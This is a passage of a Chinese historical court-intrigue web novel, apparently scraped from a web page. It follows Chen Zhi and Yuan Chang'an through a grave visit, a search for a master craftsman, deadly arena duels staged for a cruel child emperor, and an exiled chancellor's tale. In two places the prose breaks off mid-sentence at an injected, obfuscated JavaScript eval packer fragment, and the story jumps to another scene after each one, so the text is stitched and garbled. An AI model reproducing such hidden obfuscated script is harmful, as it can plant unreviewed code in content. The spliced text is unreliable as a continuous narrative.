地面上,裸露的白骨与半掩埋的棺木碎片随处可见,仿佛在诉说着过往的苦难与不幸。四周,除了偶尔传来的乌鸦嘶哑的叫声,便是死一般的寂静。野狗和秃鹫成为了这里的常客。 远处,几株枯萎的老树孤独地矗立着,枝条扭曲风吹过时,枯枝败叶与尘土一同飞扬。 有一座无碑之坟,静静地躺在杂草丛中,似乎与世隔绝。 它的四周长满了高高的野草,有些地方甚至超过了成人膝盖的高度,草丛中夹杂着各种野花,但它们的颜色已经变得暗淡,失去了生机。几棵枯老的树木零星分布,枝干扭曲,树叶稀疏,似乎连生命力也在逐渐消逝。偶尔可以看到一些动物的足迹,像是野兔或是狐狸匆匆经过的痕迹。 荒草随风摇曳,偶尔有落叶轻轻落在坟头,很快又被风吹走。 在这座无碑之坟的近处,地面微微隆起,上面覆盖了一层薄薄的枯叶,周围散落着一些破碎的陶片和石头,可能是很久以前留下的祭品。 似乎时间在这里凝固,所有的声音都被这无边的荒草吞噬,只留下一片静默与荒芜。 陈治没有说话,率先蹲下身,用手拨开坟墓周围的杂草。他的手指抓住一丛丛枯黄的草茎,用力一拔,杂草便连根带土被扯了出来。他小心翼翼地将杂草放在一旁,以免弄脏那座无碑坟墓。 元长安抽出自己的长生枪,递给陈治。陈治抬头看着迎光而立的元长安,明明他看不到颜色,却能感觉到她的耀眼夺目。 “陈怀久,这次,谢谢你。”元长安点到为止,因为她知道陈治能听明白。 确实,陈治清理着杂草,额头布满薄汗,没有回应她。 终于,当最后一丛杂草被清理干净之后,阳光洒在坟墓上,仿佛为它披上了一层金色的外衣。 元长安一撩衣袍下摆跪在坟前,同样磕了三个响头。 一阵春风吹过,拂过元长安的脸颊。那是一位深爱孩子的母亲,正在轻拂自己久违的孩子。 ----------------- 回去的路上,二人皆沉默不语。 直到他们经过一处狭窄拥挤的小巷里。破败不堪的房屋紧挨着彼此,屋顶上长满了青苔,墙面上斑驳陆离。这里的空气似乎永远带着一股潮湿腐烂的味道,腌臜物随意堆放,污水横流,偶尔还能见到几只野狗争抢食物残渣。 陈治捂住口鼻,强忍着作呕的冲动。 几个女子浓妆艳抹,花枝招展地朝着陈治招手示意。 陈治别扭地朝着元长安凑近,轻声道:“长安,来这里做什么?” “听瞿将军说,这暗巷里有一巧手能匠,你设计的巨弩车和神弓弩,要是再配上他的手艺,必定有如神助。”元长安从怀里拿出一张画像,“这是瞿将军亲手所画,有这幅画在手,肯定事半功倍。” 陈治瞥了一眼手中的画像,嘴角微微抽搐,努力憋住笑意。 画中的男子,面目模糊,五官歪斜,鼻子像是被鞋底拍过一般扁平,眼睛一大一小,嘴角还奇怪地上扬,活像一只正在笑的蟾蜍。 “你在笑什么?”元长安注意到陈治嘴角那一抹难以抑制的笑意,便停下脚步,转过头来,眼中带着一丝疑惑和好奇,声音夹杂着些许不解。 陈治见状,连忙收敛起笑容,尽量让自己的表情看起来很认真。他轻轻摇了摇头,回答道:“没有,我只是觉得,瞿将军的画风真是……别具一格。”他试图用最委婉的方式表达自己对画像的看法,同时又不想让元长安感到难堪。 元长安将信将疑地再次将画像看了个遍,除了人画的丑了点,也没什么问题啊。她微皱的眉头表达了她的疑惑,为了不让气氛变得尴尬,陈治道:“我们再往前走走吧,说不定很快就能找到我们要找的人。”说完,他便牵起了元长安的手,一边走一边问。 然而,自从他们踏入这个小巷子,就有几双眼睛,正在盯着他们。 他们穿过一条条狭窄的小巷,来到了一处不起眼的巷尾。推开吱呀作响的木门,他们走进了一个狭小而简陋的院落。院落四周的墙壁斑驳陆离,显得十分陈旧。院子里面堆放着一些工具和未完成的作品,空气中弥漫着木头和颜料的味道。 唯一的椅子上坐着一位看不清岁数的男人,正专心致志地雕刻着手中的木块。他的头发凌乱,眼神深邃,整个人散发出一种孤僻的气息。看到有人进来,他只是微微抬了抬头,目光冷冷地扫过两人,然后又继续专注于手中的活计。 陈治走上前去,礼貌地行了个礼,声音谦和而诚恳:“我等多有打扰,还请见谅。请问您是鲁峰鲁大师吗?” 男人停下了手中的动作,缓缓抬起头,眼神依旧冷淡。他打量了两人一番,然后淡淡地问道:“你们找他有什么事?” 陈治见找对了地方,与元长安相视一笑,然后转头道:“我们这里有几张设计图纸,想找鲁大师为我们做出来。” 那个男人闻言,轻嗤一声:“找我……找鲁峰的人都是为了他的手艺,可惜鲁峰这个人,不是什么活儿都接,除非你们能拿出让他感兴趣的东西,或者有一个让他觉得值得一做的理由。说不定,他还能考虑考虑。” 陈治听到他说话的意思,心里也清楚面前之人的身份。他抿唇轻笑,笑意转瞬即逝。 “鲁大师不在,又怎么能知道我们的东西他不感兴趣?” 那男人很明显一噎,眼珠子来回转,随后道:“我们两个是好哥俩儿,你们先拿给我看,我觉得可以,他也许就能看上。” 元长安此时也注意到他的破绽,出声道:“那可不行,我们带来的图纸可是不能外传的。要是被我们上级知道,除了鲁大师,还有其他人看过,会要了我们的小命的。”说着,元长安用手做了一个抹脖子的动作。 男人听他们说的越神秘,心里就越难耐。 陈治见他的平静的面容快要绷不住了,转头对元长安道:“长安,不妨让这位鲁大师的好哥们,替我们掌掌眼。”好哥们三个字,陈治说得比较重。不过,那个男人像是没有听出来。 元长安掏出陈治所绘制的巨弩和神弓□□,递给那个男人。那男人接过展开,装模做样地淡淡一瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公主府,凉亭 公主永清身着一件轻薄透明的纱衣,衣襟处露出一片雪白的肌肤,她半躺半坐在雕花檀木椅上,神情慵懒。 周围侍奉的,都是精心挑选的貌美男子。或捧茶,或摇扇,或轻歌曼舞,无不极尽所能地讨好着这位尊贵的公主,博得她的的欢心。 美男的指尖轻轻拂过永清的额头,为她拭去额角的细汗,另一人则用牛角制成的梳子,细心地梳理着她如云的秀发。永清微微眯着眼睛,嘴角挂着浅笑,仿佛在享受人间至极的乐趣。她的手指不自觉地挑弄着美男的手臂,似乎在享受这种权力的游戏。 驸马站在永清的身后,面无表情,眉眼低垂。不知道的,还以为是个下人等着主子的传唤。然而,握紧的拳头,深深陷入掌心的指甲,无不在表现他的隐忍与不甘。 他看着永清公主在美男的环绕下笑得花枝乱颤,心中涌起一股屈辱。父亲章伯雍以及章家上下,皆死于尤太后、吴王和永清公主的手中。可他必须忍耐,不能有任何失态,即使心中翻江倒海,表面上也要保持平静。这种压抑让他的脸色显得有些苍白,但他的脊背依然挺得笔直,坚守着最后的尊严。 “殿下,这是太后赐给您的水葡萄,您尝尝。”一只骨节分明、修长干净的手,捏着半露剔透果肉的葡萄,递到永清的嘴边。 永清享受着美人捏肩的舒适,淡淡一瞥跪在一旁、恳求自己赏脸的奴儿,她内心对权力的欲望越陷越深。 “殿下……”奴儿声音清润,但还是能听出来刻意的意味。 永清微微俯身张开嘴,奴儿抬手就将手中的葡萄,送进她的嘴里,脸上是欣喜的笑意。 突然,一名小厮慌张地跑入凉亭,打断了这幅和谐的画面。“殿下,”小厮喘着粗气,“回禀殿下,小的几个在宫外发现了一美男子,貌若潘安,气质非凡……” 小厮的话还没说完,永清的眼睛已经亮了,顿时兴趣大起。她迅速坐直身子,挥挥手让美男退下,迫不及待地问道:“那你们为什么不直接绑来见本宫!” 那小厮喘了几口气,说道:“小的见那男子细皮嫩肉的,怕伤了他,坏了殿下的雅兴。” 永清连叫三声“好”,然后指着他道:“你做的很好,本宫重重有赏!” 小厮连连磕头:“多谢殿下,多谢殿下。” “你可还记得那男子的长相?” 小厮抬头应答:“小的记得,那男子长得如天上的仙人一般好看,但凡看一眼,都不会忘。” 说的越多,永清就越兴奋,连忙派人将京都最好的画师请来作画。 当永清看到画像的第一眼,就被画中男子的样貌给迷住了。但是越看,越觉得熟悉,但就是想不起来在哪里见过。不过,这都不重要,重要的是,怎么样将他“请”进公主府。 ----------------- 走出落魄的暗巷,元长安和陈治迎来了繁华的皇城。 时间尚早,他们二人就这样闲逛,闲逛到了皇宫周围。 宫墙四周设有高大的城墙和深深的护城河,以阻挡外来侵袭。城墙之上,箭楼林立,哨塔密布,日夜有人巡逻放哨,随时准备应对可能发生的危机。 此外,皇宫大门前常设有厚重的木栏以及多重检查关卡,确保只有经过严格审查的人才能进入。宫门两侧还会有持械的卫兵站岗,双目炯炯有神,一只苍蝇飞过,都能看得一清二楚。 元长安驻足眺望,金碧辉煌的宫殿如同天宫一般矗立,雕梁画栋,飞檐翘角,在阳光下熠熠生辉。这里,是权力的中心,是无数人梦寐以求的至高点。 “这里,就是所有人都想进入的皇宫。宫墙之内,虽金碧辉煌,实则暗藏祸心,权谋交织;宫墙之外,虽自由广阔,却是战火肆意,民生维艰。一门一墙之隔,却是宫里宫外皆无法满足的欲望。” 陈治抬手抚平元长安的紧皱的眉头,“我相信,总有一天,长安会让大晋换一番天地。” 元长安却笑了,“我要是能活五十岁,一定会让大晋改天换地。” “怀久愿陪长安百岁。” 24.校场的闹剧 陈治照常收拾完,便准备去鲁大师家中。 “陈治,今儿小元爷有事,她让我陪你一天。”王耀祖看到出门的陈治,连忙招手道。 陈治见是王耀祖,也没了期待的心情。 “嗯。”他不冷不淡地回应,让原本还面带微笑的王耀祖,嘴角下拉。 元长安跟在瞿正清身边,不是勤练武艺,就是学习兵法。瞿正清简直就是将元长安当成接班人一样培养,只要是对她有益的事情,瞿正清就会把她带在身边。 现如今,许文达暂居京都,吴王和恒王对其虎视眈眈。 王耀祖紧跟着陈治,可总感觉背后有几双眼睛在盯着他们,当他停下脚步,回头观察的时候,那种感觉就消失得无影无踪。 “真是奇了怪了。”王耀祖低声呢喃,挠了挠后脑勺,“想不明白。” 陈治回身问道:“怎么还不走?” 王耀祖不敢怠慢,毕竟是小元爷交代的重要任务。他连忙小跑跟上去,陪着笑脸道:“没什么没什么。” 陈治神情平淡:“快些走吧。真想不明白,长安怎么会让你来?”最后一句话,他说的很小声,似是埋怨,以至于王耀祖根本就没有听清楚。 “陈公子,你嘀咕什么呢?” “不可说,不可说。”陈治端的是清风朗月,是光风霁月。 王耀祖挠头的动作更厉害了,“这都什么跟什么啊?也不知道小元爷是怎么看上他的。” “快点跟上!” “来啦!” ----------------- 元长安跟着瞿正清到了金卫营,不止她一个人,还有沈让和崔涯。他们几人除了高望,皆穿着侍卫的服饰,伴在许文达身侧。 尤太后下旨,封许文达为护军,负责掌管金卫兵、选拔武官。然而,金卫兵一半在太后胞弟尤秉华手上,另一半在摄政王郑枫的手中。 那尤太后此意,又是为何呢? 其实许文达的权力,不在掌管金卫兵,而在选拔武官。尤太后不仅是在为许文达树敌,更是为了达到京都的平衡。 只有将水搅得够浑浊,才不会让人看清楚水底的真面目。 今日正巧是金卫兵选拔之日,小皇帝又想着凑热闹,所以元长安他们一行人,可谓是浩浩荡荡。只是没想到,有来了一个意想不到的人。 “王爷到!” 校场内赫然出现一辆马车,周围不下几百人的侍卫保护。 马车四壁镶嵌着各色珍珠宝石,轿子顶部镶嵌着一颗硕大的明珠。车帘用纯黄缎绣,上面绣着繁复而又精致的花纹。 马车内的装饰奢华无比,里头还配置有美酒佳肴、香茗水果。 郑枫身穿蟒袍,头戴紫金冠,端坐于马车里。他闭目养神,一片静谧。 “奴才参见王爷。”这时,小皇帝身边的太监总管急忙迎上前来,他的脸上满是恭敬之色,他的声音中充满了谦卑和尊敬。 校场的金卫兵见状,立刻齐齐跪下,他们的动作整齐划一,他们的声音铿锵有力,“参见王爷,王爷千岁千千岁!” 太监总管很有眼力见地为大晋的摄政王掀开轿帘,身边的小太监连忙将下脚的木墩放到合适的地方,跪在地上等着摄政王下马车。 许文达等人看着小皇帝的脸色和摄政王的做派,心中了然。 小皇帝的脸色十分阴沉,眼神凶狠毒辣,好像一条吐着信子的毒蛇。他虽顽劣暴虐,但对这个摄政王叔父,有些胆颤。见摄政王下了马车,他立即扬起笑脸,小跑着迎了上去:“叔父!” 郑枫一下马车,就迎来了小皇帝的怀抱,“微臣不敢当陛下这一声叔父。”他假模假样,笑里藏刀,但是眼神中的自满,在场的人,但凡敢直视他的人,都能看出来。 许文达站定在侧,安安静静地观赏着这对叔侄的虚情假意。身旁的瞿正清,却看中了郑枫带来的一匹身躯健壮的战马。单单看皮毛色泽,如同火炭般,通体赤红。 “长安,依我看,这匹马,绝对是匹世间好马。” 元长安也早就注意到了那匹宝马,“将军,我总有一种不祥的预感。” 瞿正清给了她一个安慰的眼神,宽慰道:“放心,天塌下来,有高管顶着呢。你呀,就跟在我身边,好好学习学习,以后上战场打仗的时候,你能用得到。” 元长安往后退了几步,与崔涯、沈让站成一排。 “瞿将军和你说什么了?”沈让见他们聊了没几句,元长安就退了出来。 元长安耸耸肩,表示道:“什么也没说。” 崔涯一幅见破不说破的表情,看着沈让悻悻的表情。 郑枫命人将赤红马牵到校场正中央,朝着小皇帝俯身一礼:“启禀陛下,微臣偶然得到一匹宝马。常言道:烈马难驯,野性难收。今日是许侯爷第一天上任,微臣特献上宝马一匹,为许侯爷添一份助力,也好给陛下添些乐子。” 被提及的许文达上前拜谢:“卑职多谢王爷。” 而小皇帝的关注点,在于郑枫最后的那句“乐子”。 “朕最喜欢看乐子了,那叔父快快开始吧!” 小皇帝的话,正中郑枫下怀,他抬手示意将赤红马牵到许文达的面前,意味深长道:“太后认命许侯爷为护军,负责掌管京都金卫兵,选拔武官。本王曾听说过许侯爷威名,确为枭雄。这匹赤红马,从出生到现在,还没有能驯服它的人。许侯爷,你今日不妨让陛下和我等,见识见识你的本事?” “不就是让侯爷驯马嘛,说得怪冠冕堂皇的。”沈让直接道出了事情的根本。 崔涯道:“这是官场,你以为是咱们的菜市场?” 郑枫牵着小皇帝的手,坐在校场支起的临时御棚之中。许文达等六人紧跟其后,侯爷坐在小皇帝的一侧,侍卫站在侯爷身后。 许文达抬手一挥,高望推了一下崔涯,“崔涯,你去。”然后又凑近崔涯,在他耳边低声说道:“隐藏实力,见好就收。” 崔涯抬眸看向高望,见他朝着自己微微点头,眼神又不经意地瞥向许文达,崔涯立马会意,同样点头回应他。 他起身走近马匹,表面装作轻松地拍了拍马颈,试图让它放松。实际上,他的手指轻轻触摸到了马颈下的敏感部位,引起了一丝不适。赤红马立即表现出不安,耳朵向后贴紧,眼睛瞪得更大了。 “好马,今天我们要好好玩玩。”崔涯大声感慨道,声音中带着一丝不易察觉的笑意。他翻身一跃,看似轻巧地落在马背上,但其实他有意地让自己的重量集中在一侧,故意让马匹失去平衡。 赤红马果然感受到了不对劲,立刻开始不安地踏步,前蹄高高抬起,几乎要把崔涯掀翻。崔涯假装努力控制,但实际上并没有使出全力。他故意让缰绳稍微松了一些,给了马匹更多的自由度。 “驾!”崔涯大声喝道,赤红马仿佛听出了其中的破绽,更加肆无忌惮地跳跃起来。崔涯趁机轻轻一松手,假装被马匹甩了下来,重重地摔在地上,滚了几圈后才停了下来。 周围的将士发出一阵惊呼,郑枫给身边人一个眼神,那人急忙跑过来查看崔涯的情况。崔涯慢慢爬起身,拍了拍身上的灰尘,脸上露出一丝苦笑:“看来这匹马不是那么容易驯服的。” 赤红马站在一旁,似乎也意识到了什么,低头看了看崔涯,然后悠闲地走开了。 “好!”小皇帝直接站起身拍手叫好,“再来!” 郑枫看着许文达逐渐变黑的脸,悠闲自得地靠在座椅之上,把玩着手上的玉扳指。 同样的,沈让也“掉”下了马背。 “好!”小皇帝再次惊呼,手掌越拍越响。“再来,再来!朕还要看!” 众人看到这样的皇帝,心里一阵唏嘘,皇帝如此,天下何安? 直到最后,又一个人再次摔下马背,赤红马依旧没有被驯服。郑枫心中得意,但面上不显,一脸为国惋惜的神态,似真似假。 高望俯下身子,低头与许文达耳语了几句,只见许文达眉头一皱,后又展平,遮住自己的嘴,侧头回了他几句。高望时不时地轻点着头,态度恭敬地听着。 元长安无聊地打了一个哈欠,这不能干,那不能干,早知道就不来了。 郑枫惋惜道:“可惜啊,我大晋竟然找不出能驯服此马之人。” 然而小皇帝却道:“既然找不到驯服之人,那这匹马就没有留下的理由,还不如给朕放进围场当猎物,肯定好玩。” 郑枫的嘴角不由得抽搐了一下,“陛下说的是。” “叔父,接下来还有什么好玩的?” 郑枫坐直了身子,微微俯身靠近小皇帝,“接下来,陛下应该问一问许侯爷,现在他是护军。” 小皇帝若有所思地点点头,转过身对着许文达问道:“许侯爷,接下来有什么好玩的。” 许文达起身行礼道:“按照规定,接下来是比武切磋。” “比武切磋?”小皇帝眉毛一凝,对这个安排不是很满意,他大手一挥,“切磋有什么好玩的,真刀真枪的才热闹。朕决定了,就真刀真枪的打一场,让朕看看热闹。谁最后赢了,朕重重有赏!” 此话一出,众人皆惊。不是没有想到小皇帝的暴戾,没想到会这么残暴。 郑枫干笑着回应:“陛下开心就好。” 瞿正清观察到元长安昏昏欲睡的神情,知道她的性子,“无聊了?” 元长安再次打了一个哈欠,意识昏沉道:“早知道不来了,我本来要陪着陈怀久的。” “等一会儿要动真格的,你确定不凑个热闹?”瞿正清试探道。 “装模作样地打一场,有什么好玩的?”元长安不屑道。 瞿正清拍了拍她的肩膀,道:“再等等。” 第一场的两人,顾彼忌此地放不开手脚。小皇帝看得不过瘾,让太监拿来一把弓箭,“给我射了他们。” 太监闻言,颤颤巍巍,直接跪在了地上:“陛下,奴不敢。” 小皇帝一脸不悦,而他身后的太监总管立马察觉到小皇帝的神情,一脚将那个太监踹倒在地,“你这个废物!陛下让你干你就干,废什么话!来人,把他拉下去!”说着,捡起地上的弓箭,拉弓瞄准,一击命中。 《宦海浮沉录》中记载:“晋之宦者石继海,生於寒微之家,好嗜博戏,因赀财匮乏不能偿赌债,遂自宫以求生路。其人于万续小皇帝处极尽忠心,常以娱乐之事取悦圣上。石继海善於观颜察色,巧言令色,故深得万续帝之宠爱。” 比武台上突然倒下一个人,与他对打的人第一时间呆愣无措起来。紧接着,又上来两个侍卫,将其扣下。在他还不知所措的时候,小皇帝不耐烦道:“朕都说了,真刀真枪地打一场,打得好了,朕重重有赏。你们这你推我让的,一点都不好玩。” 在一众表情意味不明的人当中,元长安的表情,似乎是甚得心意的神态。她太喜欢这种比试了,甚至有些按耐不住自己想要上场的欲望。 许文达在闭目养神,今日的闹剧与他无关,可总有人不那么想。郑枫突然道:“许侯爷,今日是你的主场,怎么睡着了?” “唔,”许文达睁开了眼睛,发现小皇帝正疑惑地看着他,笑道:“让陛下和王爷见笑了。微臣想着,有陛下和王爷坐镇,微臣还有什么不放心的。” 郑枫道:“许侯爷这是怪陛下和本王的出现,打乱了侯爷的安排?” 许文达诚恳一笑:“王爷哪里的话,卑职只是见陛下兴致正浓,怎么能扫了陛下的兴致。” 小皇帝见许文达身后的几个侍卫,有了新的玩法:“许侯爷,你那几个侍卫,借给朕玩玩,怎么样?” 许文达脸上没有什么变化,“这天下万民都是陛下的,您想怎么玩都行。” “你们,一、二、三……四个人,一个一个上去,死一个就顶上去一个。”小皇帝兴致冲冲,“谁活到最后,朕就封他为大将军。” 元长安早就耐不住性子,正欲上前,就被瞿正清拦住:“小心一些,打不过就自己退下来。” “知道。” 元长安抽出长生枪,一个轻功落于比武台上。于此同时,太监总管扯着尖锐的嗓子,高声喊道:“陛下有旨,谁活到最后,谁就能成为大将军。” 大将军的诱惑,让所有参选者跃跃欲试。能入金卫营固然好,但能做大将军,不是更好吗? 一位身穿武袍,身材魁梧的男子,手持长矛,气势汹汹地站上比武台。 元长安的长枪在阳光下反射出道道寒光,枪尖锋利无比。她轻轻一抖,长枪如龙蛇般伸展,枪尖直指对手。武袍男子猛地一跃,长矛如同闪电般刺向元长安。 元长安不慌不忙,长枪迅速回撤,枪尖在空中划出一道弧线,挡住了武袍男子的攻击。两人你来我往,枪矛交错,激战正酣。校场四周的士兵们屏息凝神,目不转睛地注视着这场精彩的对决。 尤其是小皇帝,看得津津有味,还时不时地拍手叫好。 武袍男子的力量惊人,每一次攻击都势大力沉。元长安则灵活多变,她的长枪如同活物一般,时而伸长,时而缩短,让人难以捉摸。两人在场中来回突进躲闪,每一次交锋都激起一阵尘土。 突然,武袍男子大喝一声,长矛如狂风暴雨般连环刺出。元长安身形一闪,长枪迅速收回,躲过了致命一击。但她并未退缩,反而趁机反攻,长枪猛然伸出,直取武袍男子的胸膛。 武袍男子反应迅速,长矛横扫,意图挡住元长安的攻势。然而,元长安的长枪如同灵蛇出洞,枪尖巧妙地绕过长矛,直刺武袍男子的咽喉。武袍男子面色大变,但已来不及躲避。 “噗”的一声,长枪穿透了武袍男子的喉咙,鲜血瞬间喷涌而出。武袍男子瞪大了双眼,不可置信地看着元长安,身体缓缓倒下,最终倒在了尘土中。 校场四周一片寂静,士兵们惊愕地看着这一幕。元长安收枪而立,呼吸平稳,眼神中没有丝毫动摇。她轻轻擦拭了一下枪尖上的血迹,然后将长枪收回。 “再来!” “好!再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈让从武器架子上,拿下一双铁锤,掂量了一下,低声呢喃道:“还行。” “大将军之位是我的!”一位手持长刀,身穿武官服饰的男子,踏上了比武台。 沈让轻蔑一笑,双锤在手中轻轻晃动,发出沉闷的声响。“那就来试试吧。” 武官不再多言,大喝一声,长刀化作一道银光,直取沈让的面门。沈让不退反进,双锤交错,硬生生挡住了这一刀。金属碰撞的声音震耳欲聋,火花四溅。 武官的刀法迅猛而凌厉,每一刀都带着强烈的杀意。沈让则凭借双锤的重量和自身的力道,稳稳抵挡住对方的攻势。两人在场上你来我往,战得难解难分。 突然,武官一个虚招,长刀斜劈向沈让的腰部。沈让早有防备,左锤一挡,右锤顺势砸向武官的胸部。武官急忙后退,但沈让的右锤还是擦过了他的肩膀,留下一道血痕。 武官怒吼一声,再次挥刀猛攻。沈让双锤上下翻飞,每一次碰撞都发出震耳欲聋的声音。武官的刀法虽然快速,但在沈让的重锤之下显得有些吃力。 沈让看准机会,双锤猛然前推,将武官的长刀震开。紧接着,他左锤横扫,直取武官的腰部。武官急忙闪避,但还是被锤风扫中,身体不由自主地向后踉跄了几步。 沈让乘胜追击,双锤交替挥动,如同两道黑色的闪电,不断攻击武官的要害。武官虽然竭力抵挡,但逐渐显露出疲惫之态。沈让抓住机会,双锤同时砸向武官的胸口。 “砰”的一声巨响,武官的身体被巨大的冲击力击飞,重重地摔在地上,长刀脱手而出。他挣扎着想要起身,但双腿一软,再次倒下,口中吐出一口鲜血。 沈让没有停歇,双锤再次高高举起,用力砸向武官的头部。武官的眼睛瞪得大大的,眼中充满了恐惧和不甘。但一切都为时已晚,双锤重重地落在他的头上,颅骨碎裂,鲜血四溅。 这种场面不忍直视,让一些人闭上了眼睛。但是小皇帝却很兴奋,而郑枫却开始对许文达身边的这几个侍卫,越来越关注了。 沈让还是不习惯这双铁锤,没多久就将铁锤丢在地上,崔涯趁势上台。 一位年长的中年男子,腰间别着鞭子,语气不屑道:“小子,老子的长鞭可不是吃素的!” “晚辈领教了。” 崔涯话音未落,中年男子已经率先发难,长鞭如同灵蛇出洞,直取崔涯的咽喉。崔涯迅速闪身,长剑横扫,将长鞭挡开。 中年男子的鞭法灵活多变,长鞭在他的手中犹如活物一般,不断地缠绕、抽打。崔涯则凭借着剑法的精妙和身法的敏捷,一次次化解了对方的攻势。 突然,中年男子一个翻身,长鞭如流星般横扫而来。崔涯迅速后退,但中年男子的鞭梢已经缠上了他的剑刃。崔涯手腕一抖,剑尖一挑,轻松地解开了鞭索,反手一剑刺向中年男子的胸前。 中年男子急忙闪避,但崔涯的剑法如影随形,紧紧跟上。两人在场上不断变换位置,每一次交锋都令人目不暇接。中年男子的鞭法虽然灵活,但在崔涯的剑法面前显得有些捉襟见肘。 崔涯看准机会,剑尖一挑,长剑如龙出海,直取中年男子的咽喉。中年男子急忙后退,但崔涯的剑速太快,长剑已经逼近他的胸前。中年男子慌忙举鞭格挡,但为时已晚。 “噗”的一声,崔涯的剑尖穿透了中年男子的胸膛,鲜血顺势而下。中年男子的身体缓缓倒下,手中的长鞭也落在地上,发出“啪”的一声,永远地闭上了双眼。 “好!好玩!真好玩!”小皇帝激动地站了起来,“赏!统统给朕赏!许侯爷,你也有赏,你身边这几个人真有意思,好玩,好玩。” 许文达轻笑道:“陛下喜欢即可。” 而另一旁的郑枫,心里不知道盘算着什么,但他绝对不像表现出来的这般平静。 校场所发生的一切,身居后宫的尤太后已经知道了事情的来龙去脉。她又想到前几日北方军情,北方发生内乱,那些崛起的异族已经无心南下。既然如此,她就有了肃清对手的机会。离她最近的吴王、恒王、昱王,比较远的常山王、博陵王,最远的永王、齐王、临安王。 有了许文达,再加上自己的弟弟尤秉华,或许她可以分开瓦解,从而巩固自己的势力。 “来人,哀家乏了。” 话音一落,一群貌若无盐的宫女带着一位身着月白衣衫的年轻男子进来。他浑身上下透着温和又内敛的气息,一双温柔含情的桃花眼,眼中好似含着一汪春水。 这是尤太后最宠爱的男宠,“快过来。”年逾四十的尤太后,风情万种,保养地犹如二三十岁一般。想当年也是京都数一数二的美人,要不然也不会得到晋灵帝的宠溺。 男子轻手轻脚地走进尤太后,身躯将她笼罩。尤太后靠躺在床榻之上,轻拂他清瘦却不干瘪的上身。 “将哀家伺候好了,哀家自会赏你。” 那男子眼睛有了欲望,再一次背叛了自己的本能,选择服从自己的内心。 25.大闹公主府 陈治正在学习雕刻,就听到鲁峰从屋里端出来一碗稀粥和半块黄饼,对他道:“陈治,你把这些东西给隔壁的瘸子送过去。” “好,我这就去。”陈治放下手中的工具,去接鲁峰端着的东西。 临走之前,鲁峰叮嘱道:“那个人说话难听,但是人是个好人。不管他说了什么,你别往心里去。” 陈治没有回头,道:“我知道了。” 鲁峰隔壁是一间尤为简陋的小院。小院的围墙由粗糙的石块堆砌而成,缝隙中长满了杂草。院门是一扇残破的木门,上面的漆皮早已脱落,露出斑驳的木纹。门上的铜环也已锈迹斑斑,显得格外陈旧。 小院门口,杂草丛生,显得有些荒凉。陈治轻轻敲了敲那扇残破的木门,等待着回应。过了好一会儿,门才吱呀一声打开了一条缝,露出了一双警惕的眼睛。 “谁啊?”老人的声音沙哑而冷淡。 “在下陈治,是鲁峰鲁大师新收的徒弟,他让我给您送饭。”陈治礼貌地回答,尽量让自己的语气听起来亲切而不失尊重,还不忘向老人展示自己手中的碗和饼。 听到这话,门缝稍微开大了一些,老人的脸上闪过一丝不易察觉的变化。他缓缓地挪动着身子,让出了进门的空间:“进来吧。” 陈治走进小院,映入眼帘的是一个狭小而拥挤的空间。院子中央摆放着一口生锈的铁锅,旁边散落着几个破旧的瓦罐和竹篮。地面坑坑洼洼,泥土裸露在外,只有少数地方长着几株顽强的小草。 小院的一侧有一间低矮的茅草房,屋顶上的茅草已经有些稀疏,几处明显的破洞透出丝丝寒风。窗户是用破旧的纸糊成的,透出微弱的光线。门框歪斜,门板上钉着几块补丁,显得十分脆弱。 然后他的目光又落在了老人身上。 老人挪动着脚步,每一步都显得异常吃力,走路时要借助一根粗糙的木棍作为支撑。他拄着拐杖,先是用右脚试探性地迈出一步,然后慢慢地将重心转移到右腿上,左腿随之跟上。 进了院子之后,老人转身示意陈治坐下。他小心翼翼地将拐杖放在一旁,然后慢慢坐到一张破旧的木椅上。椅子摇晃了几下,但最终稳稳地承载住了他的体重。老人用手背抹了抹额头上的汗水,那双手很粗糙,指甲里还嵌着些泥土。 陈治小心翼翼地拿出一碗粥和几个馒头,放在老人面前。 老人用右手轻轻拿起碗,左手托住碗底,缓缓将粥送入口中,细嚼慢咽,每一口都显得格外珍惜。 陈治看着老人吃饭的样子,心里有些忐忑。他不知道该说些什么,只是偶尔轻声问一句:“老先生,您慢点吃。”但老人似乎并没有注意到他的拘谨,只是专注地吃着碗中的食物。 见老人并没有理会自己,陈治便不再说话,然后有些不自在地环顾四周。因为木凳的表面粗糙不平,坐上去有些硌人。所以陈治一直在调整姿势,试图让自己舒服一些,但始终感觉不太自然。而他的双手不知该放在哪里,一会儿放在膝盖上,一会儿又交叉放在身前,显得有些局促不安。 吃完饭后,老人将碗放回桌上,用手掌轻轻拍了拍膝盖,似乎是在舒缓长时间坐着带来的不适。他抬起头,目光投向陈治,眼神中多了一丝探究。 他观其手指修长,皮肤白皙,显然从未做过粗重的活儿;他的举止文雅,言谈之间流露出一种谦逊有礼的气质。更重要的是,陈治的眼神中有一种从容和自信,这是长期生活在优越环境中的人特有的神态。 “你不是普通人。”老人的声音低沉而有力,“你的言谈举止,不是普通百姓能有的。你是官宦之后吧?” 陈治微微一愣,随即点头道:“在下少陵陈氏之后,陈治,字怀久。” 然而老人并没有太多的惊讶,反而说了一句让陈治震惊的话:“我曾与你的爷爷同朝为官。” “我的爷爷?”陈治直接站了起来,“老先生是说,你认识我爷爷?” 老人的目光投向远方,似是感慨似是倾诉:“我叫崔永怀,淳化七年进士。三十二岁,官拜丞相。为官二十一年,侍奉两任君王。厉帝虽无能,宠信章伯雍,但也同样信任我和你爷爷。” 他的语气很自豪很得意,随后又换了一种悲腔的情绪: “可是,权力斗争永远是无情的。厉帝驾崩,灵帝即位。妖后与奸臣当道,残害忠臣良将。他们编造了许多莫须有的罪名,诬告我和你爷爷。你爷爷背后是整个少陵陈氏,他们还有所忌惮。但我却没有那么好运,章伯雍直接派杀手屠杀我崔家满门。我断了一条腿才逃出生天,最终流落到这个贫民窟。” 